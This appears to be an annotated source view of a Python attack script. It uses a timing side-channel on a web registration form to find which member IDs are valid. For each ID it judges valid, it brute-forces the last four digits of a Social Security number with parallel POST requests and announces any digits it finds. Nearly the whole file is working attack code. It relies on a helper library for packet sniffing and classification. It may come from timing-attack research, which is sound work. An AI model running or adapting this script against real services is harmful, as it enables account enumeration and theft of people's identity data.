[15] | 1 | #!/usr/bin/env python3 |
---|
| 2 | #-*- mode: Python;-*- |
---|
| 3 | |
---|
| 4 | import sys |
---|
| 5 | import os |
---|
| 6 | import time |
---|
| 7 | import random |
---|
| 8 | import tempfile |
---|
| 9 | import argparse |
---|
| 10 | import socket |
---|
| 11 | import json |
---|
| 12 | import functools |
---|
| 13 | try: |
---|
| 14 | import requests |
---|
| 15 | except: |
---|
| 16 | sys.stderr.write('ERROR: Could not import requests module. Ensure it is installed.\n') |
---|
| 17 | sys.stderr.write(' Under Debian, the package name is "python3-requests"\n.') |
---|
| 18 | sys.exit(1) |
---|
| 19 | |
---|
| 20 | VERSION = "{DEVELOPMENT}" |
---|
| 21 | if VERSION == "{DEVELOPMENT}": |
---|
| 22 | script_dir = '.' |
---|
| 23 | try: |
---|
| 24 | script_dir = os.path.dirname(os.path.realpath(__file__)) |
---|
| 25 | except: |
---|
| 26 | try: |
---|
| 27 | script_dir = os.path.dirname(os.path.abspath(sys.argv[0])) |
---|
| 28 | except: |
---|
| 29 | pass |
---|
| 30 | sys.path.append("%s/../../trunk/lib" % script_dir) |
---|
| 31 | |
---|
| 32 | from nanownlib import * |
---|
| 33 | from nanownlib.train import * |
---|
| 34 | import nanownlib.storage |
---|
| 35 | |
---|
| 36 | |
---|
| 37 | parser = argparse.ArgumentParser( |
---|
| 38 | description="") |
---|
| 39 | parser.add_argument('session_data', default=None, |
---|
| 40 | help='Database file storing session information') |
---|
| 41 | parser.add_argument('host', default=None, |
---|
| 42 | help='IP address or host name of server') |
---|
| 43 | parser.add_argument('port', nargs='?', type=int, default=8080, |
---|
| 44 | help='TCP port number of HTTP service (default: 8080)') |
---|
[18] | 45 | parser.add_argument('guess', nargs='?', type=str, default=None, |
---|
| 46 | help='Retry a member_id guess') |
---|
[15] | 47 | options = parser.parse_args() |
---|
| 48 | |
---|
| 49 | |
---|
| 50 | hostname = options.host |
---|
| 51 | port = options.port |
---|
| 52 | protocol = 'http' |
---|
| 53 | |
---|
| 54 | |
---|
| 55 | def extractReportedRuntime(headers, body): |
---|
| 56 | try: |
---|
| 57 | if 'X-Response-Time' in headers: |
---|
| 58 | t = headers['X-Response-Time'].split('ms')[0] |
---|
| 59 | return int(float(t)*1000000) |
---|
| 60 | except: |
---|
| 61 | pass |
---|
| 62 | |
---|
| 63 | return None |
---|
| 64 | |
---|
| 65 | |
---|
| 66 | def sendRequest(data=None): |
---|
| 67 | method = 'POST' |
---|
| 68 | path = '/jregistrate/register' |
---|
| 69 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
| 70 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
| 71 | body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321') |
---|
| 72 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
| 73 | |
---|
| 74 | retry = True |
---|
| 75 | while retry: |
---|
| 76 | try: |
---|
| 77 | session = requests.Session() |
---|
| 78 | response = session.send(req, verify=False) |
---|
| 79 | reported = extractReportedRuntime(response.headers, response.text) |
---|
| 80 | retry = False |
---|
| 81 | except Exception as e: |
---|
| 82 | sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e)) |
---|
| 83 | time.sleep(1.0) |
---|
| 84 | sys.stderr.write("ERROR: retrying...\n") |
---|
| 85 | |
---|
| 86 | return {'userspace_rtt':response.elapsed.microseconds*1000, |
---|
| 87 | 'reported':reported, |
---|
| 88 | 'local_port':response.raw._original_response.local_address[1]} |
---|
| 89 | |
---|
| 90 | |
---|
| 91 | def fetch(probedata, data): |
---|
| 92 | # http://docs.python-requests.org/en/latest/api/#requests.Response |
---|
| 93 | result = sendRequest(data) |
---|
| 94 | result.update(probedata) |
---|
| 95 | |
---|
| 96 | return result |
---|
| 97 | |
---|
| 98 | |
---|
| 99 | def findMaxSampleID(db): |
---|
| 100 | cursor = db.conn.cursor() |
---|
| 101 | cursor.execute("SELECT max(sample) FROM probes") |
---|
| 102 | return cursor.fetchone()[0] |
---|
| 103 | |
---|
| 104 | |
---|
[18] | 105 | def guessSSN(member_id, last_four): |
---|
| 106 | method = 'POST' |
---|
| 107 | path = '/jregistrate/register' |
---|
| 108 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
| 109 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
| 110 | body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321') |
---|
| 111 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
| 112 | session = requests.Session() |
---|
| 113 | response = session.send(req, verify=False) |
---|
| 114 | |
---|
| 115 | if 'Bad password' in response.text: |
---|
| 116 | return True |
---|
| 117 | else: |
---|
| 118 | return False |
---|
| 119 | |
---|
| 120 | |
---|
| 121 | def bruteSSN(member_id): |
---|
| 122 | from nanownlib.parallel import WorkerThreads |
---|
| 123 | wt = WorkerThreads(4, guessSSN) |
---|
| 124 | |
---|
| 125 | for last_four in range(9999): |
---|
| 126 | ssn = "%4d" % last_four |
---|
| 127 | wt.addJob(ssn, (member_id,ssn)) |
---|
| 128 | |
---|
| 129 | for i in range(9999): |
---|
| 130 | ssn,success = wt.resultq.get() |
---|
| 131 | if success: |
---|
| 132 | wt.stop() |
---|
| 133 | return ssn |
---|
| 134 | |
---|
| 135 | wt.stop() |
---|
| 136 | return None |
---|
| 137 | |
---|
| 138 | |
---|
[15] | 139 | setCPUAffinity() |
---|
| 140 | setTCPTimestamps() |
---|
| 141 | host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records? |
---|
| 142 | db = nanownlib.storage.db(options.session_data) |
---|
| 143 | |
---|
| 144 | cases = {"invalid":"0012-9999"} |
---|
[18] | 145 | guesses = [("0012-%04d"%id) for id in range(0,9999) if id != 2019] |
---|
[15] | 146 | random.shuffle(guesses) |
---|
[18] | 147 | num_observations = 250 |
---|
[15] | 148 | trim = (0,0) |
---|
[18] | 149 | classifier = "quadsummary" |
---|
| 150 | params = {"distance": 5, "threshold": 18761.53575} |
---|
[15] | 151 | classifierTest = functools.partial(classifiers[classifier]['test'], params, True) |
---|
| 152 | |
---|
[18] | 153 | if options.guess != None: |
---|
| 154 | guesses = [options.guess] |
---|
[15] | 155 | |
---|
| 156 | sid = findMaxSampleID(db) + 1 |
---|
| 157 | for guess in guesses: |
---|
| 158 | print("Collecting samples for:", guess) |
---|
[18] | 159 | start = time.time() |
---|
[15] | 160 | cases["valid"] = guess |
---|
[18] | 161 | stype = "attack_%s_%d" % (guess, int(time.time()*1000)) |
---|
[15] | 162 | sample_order = list(cases.items()) |
---|
| 163 | |
---|
| 164 | sniffer_fp = tempfile.NamedTemporaryFile('w+t') |
---|
| 165 | sniffer = startSniffer(host_ip, port, sniffer_fp.name) |
---|
| 166 | time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated |
---|
| 167 | |
---|
| 168 | for obs in range(num_observations): |
---|
| 169 | random.shuffle(sample_order) |
---|
| 170 | now = int(time.time()*1000000000) |
---|
| 171 | |
---|
| 172 | results = [] |
---|
| 173 | for i in range(len(sample_order)): |
---|
| 174 | results.append(fetch({'sample':sid, 'test_case':sample_order[i][0], |
---|
| 175 | 'type':stype, 'tc_order':i, 'time_of_day':now}, |
---|
| 176 | sample_order[i][1])) |
---|
| 177 | db.addProbes(results) |
---|
| 178 | db.conn.commit() |
---|
| 179 | sid += 1 |
---|
| 180 | |
---|
| 181 | time.sleep(2.0) # Give sniffer a chance to collect remaining packets |
---|
| 182 | stopSniffer(sniffer) |
---|
| 183 | associatePackets(sniffer_fp, db) |
---|
| 184 | sniffer_fp.close() |
---|
| 185 | num_probes = analyzeProbes(db, trim=trim) |
---|
| 186 | |
---|
| 187 | if classifierTest(db.subseries(stype, "valid")): |
---|
[18] | 188 | print(" Looks valid...") |
---|
| 189 | ssn = bruteSSN(guess) |
---|
| 190 | if ssn == None: |
---|
| 191 | print(" Hmm, didn't find an SSN... ") |
---|
| 192 | else: |
---|
| 193 | print(" W00t! Found SSN: %s" % ssn) |
---|
[15] | 194 | else: |
---|
[18] | 195 | print(" Looks invalid") |
---|
| 196 | print(" Runtime: ", time.time()-start) |
---|